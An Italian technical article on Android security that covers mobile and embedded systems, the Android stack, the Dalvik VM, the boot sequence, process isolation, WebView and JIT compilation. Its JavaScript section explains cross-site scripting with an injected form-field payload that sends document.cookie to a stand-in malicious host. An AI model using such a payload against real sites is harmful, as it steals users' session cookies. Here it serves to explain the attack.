Sicurezza e Android

Sistemi embedded e mobile device: una comune architettura per due particolari segmenti di mercato ognuno con peculiari caratteristiche tecniche ma dove è possibile trovare tutti i problemi noti in fatto di sicurezza.

Dalla difficoltà di garantire livelli minimi di protezione con Javascript a quella di realizzare sistemi intrinsecamente sicuri nella compilazione dinamica con JIT compiler, fino ad arrivare a garantire la corretta esecuzione del browser  contenuto  all’interno del modulo WebKit: ecco perché le piattaforme mobile non possono non trascurare gli aspetti legati alla sicurezza e definire, di conseguenza, una corretta impostazione dei livelli minimi. I sistemi embedded sono piattaforme di lavoro costituiti da un processore, o microcontrollore, con capacità di calcolo e una forte integrazione tra hardware e software. Questi sistemi sono realizzati allo scopo di garantire ottime prestazioni nello svolgimento di un compito specifico, ma non solo. Tipicamente un sistema embedded è incluso in un altro, tanto da costituire una parte integrante di un sistema, a volte complesso, molto più grande.

I dispositivi definitivi come mobile devices rappresentano una particolare classe di sistemi embedded che ha visto un notevole sviluppo, specie in questi ultimi anni, grazie ai progressi tecnologici, tanto da offrire un aumento delle sue funzionalità per una risposta migliore alle esigenze dell’utenza. A questo riguardo, tipicamente, la classe Mobile Devices identifica tutti quei dispositivi elettronici a microprocessore di dimensioni ridotte, dotati di una forma di alimentazione integrata che ne permetta il funzionamento indipendentemente dalla presenza di alimentazione esterna e con una forte offerta di programmi applicativi. Di solito le piattaforme di questo tipo, possiedono uno schermo e diverse modalità di ingresso, quali la tastiera o il touch. Per questa ragione, un dispositivo per essere classificato come mobile device deve essere portabile, ossia deve disporre di un elevato grado di trasporto a dispetto delle sue dimensioni. Non solo, una piattaforma mobile deve essere produttiva, vale a dire deve essere in grado di compiere il lavoro per il quale è stato progettato e prodotto con un elevato grado di manovrabilità indipendente dal suo ingombro e dalla tecnologia in uso. Una piattaforma mobile deve poi garantire la connettività, in altre parole il prodotto deve avere tutto il necessario per collegarsi alle reti di comunicazione e sfruttare appieno la multimedialità. A questo proposito, si stanno sempre più diffondendo le piattaforme always connected: il dispositivo risulta sempre connesso o ha sempre la possibilità di connettersi alla rete globale. In questo contesto per multimedialità ci riferiamo a tutte le applicazioni ludiche che l’utente può utilizzare: dalla visione dei filmati alla realizzazione di foto, dall’uso di giochi alla possibilità di utilizzare tutte la facility offerte dalla piattaforma per accrescere il divertimento personale. Non solo, un dispositivo mobile deve essere proposto a un costo che risulta essere direttamente proporzionale alle applicazioni offerte. L’obiettivo dei produttori è sicuramente quello di offrire piattaforme mobili che riescano ad offrire tutte queste prerogative anche se risulta estremamente difficile coniugare tutti questi aspetti. In effetti, se uno smartphone da una parte assicura portabilità, dall’altra perde in produttività specie con le piattaforme di tipo laptop quali smartbook o netbook.

LA SUITE ANDROID

Chiariamo subito che Android non è un linguaggio di programmazione ma una suite software che permette la realizzazione di applicazioni mobili. In effetti, con Android è possibile utilizzare una serie di strumenti indispensabili a un operatore e, cosa da non trascurare, la suite è open source. In sostanza, Google, nel mettere a disposizione il suo ambiente di lavoro, ha voluto offrire una serie di librerie software, incluso il kernel di Linux, e la possibilità di utilizzare le librerie e le API offerte in forma di codice sorgente e liberamente prelevabili e consultabili. La licenza scelta rientra nella formula Open Handset Alliance (http://www.openhandsetalliance.com) e Open Source Apache License: grazie a questa decisione, Google permette ai diversi vendor di costruire le proprie versioni di Android utilizzando le estensioni anche proprietarie senza pagare alcuna royalty. L’architettura di Android è di tipo stratificata come messo in evidenza dalla figura 1.

Figura 1: stratificazione di Android.

Figura 1: stratificazione di Android.

Come si è già fatto notare, lo stack Android, inteso come insieme delle risorse software disponibili, utilizza il kernel 2.6 di Linux. Google ha decido di adottare questa particolare configurazione al fine di sfruttare un vero sistema operativo in grado di offrire tutti i necessari strumenti di basso livello, anche se, rispetto alla baseline ufficiale del kernel, in questa versione sono stati inseriti diversi moduli. Dunque, possiamo trovare il Binder IPC driver, Low memory killer, Ashmen, RAM console e log device, l’Android Debug Bridge e il Power Management, oltre alle librerie native Surface Manager, Open GL ES, SGL, Media Framework, FreeType, SQLite, WebKit, SSL e Libc. In questo articolo tralasceremo gli aspetti architetturali perché saranno esaminati in un successivo articolo, previsto nei prossimi mesi, ma faremo solo di piccoli cenni per inquadrare meglio tutto il contesto. Per prima cosa lo strato Low memory killer è un modulo che si preoccupa di eliminare i processi, liberando così spazio nella memoria centrale per soddisfare così le richieste di un altro processo. Per fare questo lavoro ad ogni processo è assegnato un punteggio e quello che possiede il punteggio più alto sarà scelto per l’eventuale eliminazione. Questi punteggi sono assegnati in funzione dell’importanza di un processo, per esempio il processo che controlla la User Interface (UI) di un’applicazione che per il momento non è visibile sullo schermo, ha un punteggio superiore rispetto al processo che gestisce la UI che in questo momento è in primo piano. Ricordiamo che il processo init non può essere ucciso. Rispetto al modulo Out Of Memory (OOM) di Linux, in Android è possibile utilizzare algoritmi personalizzati per gestire la mancanza di memoria. Accanto al layer costituito dal kernel di Linux, è presente anche un livello che è composto da un insieme di librerie native realizzate in C e C++: il core vero e proprio di Android. Di queste librerie una delle più interessanti è sicuramente la WebKit, ovvero un framework utilizzato dal browser preinstallato sulla piattaforma: si tratta di un browser engine open source basato sulle tecnologie HTML, CSS, Javascript e DOM che può essere integrato su diversi tipi di applicazioni. Non solo, in Android è anche presente la Dalvik Virtual Machine, uno strato software che permette di eseguire il software su macchine con risorse limitate e rappresenta una versione ottimizzata e appositamente realizzata per sistemi embedded della macchina virtuale della Sun Microsystem. Android, lo sanno tutti gli utilizzatori, è in grado di eseguire codice Java, ma, visto che non ha una Virtual Machine, come può eseguire bytecode Java? In realtà, Android non esegue bytecode diciamo Java, ma Google ha deciso di utilizzare una JVM custom, denominata per l’appunto Dalvik Virtual Machine, sviluppata da Dan Bornstein. La Dalvik esegue i file con estensione .dex, ossia esegue codice contenuto all’interno di questi file, ottenuti a partire dal bytecode Java e questi file hanno un elevato grado di compressione tanto da permettere di ridurre considerevolmente lo spazio di memoria. Nella Dalvik Virtual Machine si ottimizza l’allocazione delle stringhe e costanti: queste quando sono presenti in più classi sono incluse solo una volta nel singolo file .dex. Similmente alla JVM di Sun, la Dalvik implementa una garbage collector liberando lo sviluppatore dal compito di gestire in prima persona la memoria, ma non implementa in alcun modo uno Just In Time (JIT) Compiler, o almeno fino alla versione 2.2 di Android (la Froyo). Un compilatore JIT è quel meccanismo che permette alla JVM di riconoscere determinati pattern di codice Java, traducendoli successivamente in frammenti di codice nativo (C e C++) per una loro esecuzione più efficiente: molte delle funzionalità di Android sono già implementate in modo nativo dalle librerie di sistema. Android non elimina la politica di Garbace Collector, ovvero il processo che, in base all’algoritmo implementato, permette di eliminare gli oggetti non più utilizzati liberando la memoria occupata, per consentirle una gestione più semplice della memoria a carico dell’utilizzatore, eliminando, nel limite del possibile, la presenza di bug o di memory leak. Attraverso l’utilizzo del meccanismo register based per la generazione del codice, è possibile ottenere una riduzione del 30% del numero di operazioni da eseguire rispetto allo stesso codice Java. Ultima importantissima caratteristica della DVM, è di permettere un’efficace esecuzione di più processi contemporaneamente. Infatti, ciascuna applicazione sarà in esecuzione all’interno del proprio processo Linux; ciò comporta dei vantaggi dal punto di vista delle performance e allo stesso tempo alcune implicazioni dal punto di vista della sicurezza. Risulta evidente che per eseguire un’applicazione Java servono tutte le classi relative all’ambiente e, in effetti, per le applicazioni Android vale lo stesso discorso: in fase di compilazione abbiamo bisogno di android.jar per la creazione del bytecode Java, mentre nell’ambiente di esecuzione è necessario utilizzare la versione dex del runtime. Nel dispositivo non c’è, infatti, codice Java, in quanto non potrebbe essere interpretato da una JVM, ma solamente codice dex eseguito dalla DVM. Non è possibile non fare alcuni cenni alla versione Froyo di Android, ovvero la versione 2.2. La nuova versione ha in procinto di offrire un nuovo compilatore Dalvik JIT che consente di incrementare le prestazioni del codice CPU-bound dalle 2 alle 5 volte, un nuovo motore Javascript V8 che triplica le prestazioni delle pagine Javascript ed una nuova API per consentire il backup ed il ripristino della applicazioni: ora gli sviluppatori potranno accedere ai report degli errori attraverso l’Android Market. In effetti, la nuova piattaforma di lavoro offre anche le nuove funzionalità di WiFi HotSpot e USB Tethering. La nuova versione di Android disporrà anche di un miglioramento delle prestazioni del Javascript, ovvero, secondo diverse fonti, la versione 2.2 offrirà una versione migliorata del Just In Time, JIT, compiler: una tecnica utilizzata per migliorare le prestazioni dei sistemi software che compila in bytecode (come le applicazioni Android). Il metodo consiste nel tradurre JIT bytecode in codice macchina nativo a runtime. La figura 3 mostra le prestazioni della nuova architettura Android.

IL BOOT DI ANDROID

La figura 2 pone in evidenza la sequenza di boot di Android che risulta essere la tipica sequenza utilizzata in ambito Linux.

Figura 2: processo di boot.

Figura 2: processo di boot.

 

Figura 3: le nuove prestazioni.

Figura 3: le nuove prestazioni.

Dopo le verifiche iniziali sulla bontà dell’apparato da utilizzare, e dopo aver caricato il kernel in memoria, il kernel stesso è lanciato acquisendo controllo del sistema ponendo in esecuzione il tipico processo di Init presente in tutte le distribuzioni Unix like come Linux. Non solo, ma in concomitanza sono attivati i diversi demoni presenti nel sistema: i demoni, o demons, sono processi che permettono di gestire correttamente le diverse funzionalità hardware a basso livello. Successivamente, la sequenza di boot manda in esecuzione il processo Zygote e la Dalvik Virtual Machine. Il processo chiamato Zygote è uno dei più importanti; contiene un’istanza della Dalvik Virtual Machine ereditata in copia dai processi figli e da solo richiede uno spazio di memoria virtuale pari a circa 18 MB. In seguito anche il service manager è posto in esecuzione così come, in rapida successione, tutti gli altri manager e applet. Il system_server è, al contrario, il processo padre di tutto il layer applicativo Android, ovvero contiene i server incluso Activity.Manager e Window Manager ed include i server di gestione dei flussi audio e video SurfaceFlinger ed AudioFlinger. Il processo android.process.acore contiene, invece, l’Activity Launcher, la Home Activity, Contacts e le altre activity di base Android. Il processo com.android.settings è attivato durante l’esecuzione de l’utility Settings nel menu Home. Infine, il processo android.process.media contiene il server Media Provider, il gestore delle risorse di sistema.

PROCESSI IN DALVIK

Si è detto che Android si basa su Linux e ciò porta a una rapida conseguenza, ovvero tutti i riferimenti alla sicurezza presenti nel kernel di Linux 2.6 sono anche presenti in Android. Ogni processo viene eseguito in una DVM separata ciò implica che Android, come Linux, dispone dello stesso modello dei permessi e i file non sono condivisi tra le applicazioni. Non solo, i parametri UID e GID sono distinti e assegnati all’installazione con un Stack address randomization. In Android sono ancora presenti le definizioni utilizzate nel file manifest, android.permission, per impostare permessi e particolare attenzione deve essere posta sulla granularità delle azioni e sull’accesso ai dati. Ogni applicazione in Android corrisponde ad un processo Linux che è eseguito all’interno di una propria istanza Dalvik privata: questo garantisce l’isolamento della memoria a disposizione della singola applicazione e di costruire politiche di gestione degli accessi sfruttando i concetti di utenti e gruppi Linux. Questa particolare esigenza è supportata anche da un nuovo formato dei file .dex, capace di contenere più definizioni di classi riordinate in modo da eliminare la ripetizione di aree funzionali e dati comuni ottenendo così una riduzione considerevole dello spazio occupato dai componenti di Android (Core libraries, Application Framework...) in un formato eseguibile non compresso, figura 4.

Figura 4: dex file format.

Figura 4: dex file format.

JAVASCRIPT

Questo linguaggio si basa sugli oggetti per definire le parti della pagina web che si sta manipolando ed è anche un linguaggio “loosely typed”, ovvero poco tipizzato, e, particolare da non trascurare, è eseguito dai browser. Siccome l’esecuzione risiede sul lato client, un utente malintenzionato potrebbe modificare il codice per sfruttare le debolezze presenti nel nostro sistema di lavoro. In effetti, con il Cross Site Scripting (XSS) è possibile inserire del codice dinamico, come Javascript, all’interno di una pagina vulnerabile al fine di reperire dati sensibili, rubare cookie o altro: per inciso la tecnica XSS è uno dei sistemi più diffusi. Così, in un form online del tipo:

<input type=’text’ name=’nome’ value=’..’>

con codice Javascript e modificando il campo value:

>window.open(‘http://www.sitomalwa re.com/collect.php?cookie=’+docum ent.cookie)</script>

Il nostro browser interpreta cosi la form:

<input type=’text’ name=’nome’

value=’..’>window.open(‘http://www.s itomalwarer.com

/collect.php?cookie=’+document.coo kie)</script>’>

Grazie a questa possibilità il nostro cookie sarà inviato al sito www.sitomalware.com che riuscirà a recuperare il cookie.

 

BROWSER WEBKIT

I problemi della sicurezza non si annidano solo nella fase di JIT compiler ma, visto che risulta possibile utilizzare il browser WebKit all’interno di un’applicazione Android ricorrendo all’oggetto WebView, possiamo riscontrare seri problemi anche sull’esecuzione di codice Javascript. In effetti, per accedere ad una url tramite il browser è necessario disporre del permesso di accesso ad internet dell’applicazione, inserendo nel file AndroidManifest.xml il tag <uses-permission android:name=”android.permission.INTERNET” />. Nel file di layout con:

<WebView

android:id=”@+id/browser”

android:layout_width=”fill_parent” android:layout_height=”fill_parent”>

</WebView>

DINAMICA

Alla base di  tutto c’è  il  bytecode,  in altre parole un linguaggio intermedio più astratto del linguaggio macchina, usato per descrivere le operazioni che costituiscono un programma. Non so lo, il bytecode può anche essere visto come il linguaggio macchina di una macchina virtuale: questa particolare macchina lo trasforma in codice eseguibile dall’hardware reale su cui è in esecuzione, interpretandolo o tramite compilazione JIT. Un compilatore JIT si pone in diretta concorrenza ad un interprete; in effetti, con l’interpretazione si esegue direttamente il codice sorgente istruzione per istruzione. Gli interpreti sono semplici da costruire e assicurano l’indipendenza dalla piattaforma, oltre ad offrire la dovuta sicurezza grazie ad un ambiente di esecuzione controllato, ma, al contrario, possono vantare un consumo di risorse elevato. Per ogni istruzione si ha un tempo di decodifica ed esecuzione normalmente più elevato di un processore reale, a causa della complessità delle istruzione, oltre a richiedere delle risorse che vanno sommate a quelle usate dal programma. Al contrario, con l’approccio JIT si risolvono gli svantaggi dell’interpretazione pura dei programmi. In definitiva, con un compilatore JIT si emula uno stack ai fini di tradurre il programma a bytecode in codice macchina eseguibile e si utilizza lo stack solo in fase di traduzione del programma a bytecode consentendo anche di ottimizzare ulteriormente il codice. Una macchina JIT permette anche il caching del codice compilato, in questo modo diventa veloce come la versione nativa e la sicurezza di tutto questo meccanismo è in carico alla Virtual Machine.

Scrivi un commento

Send this to a friend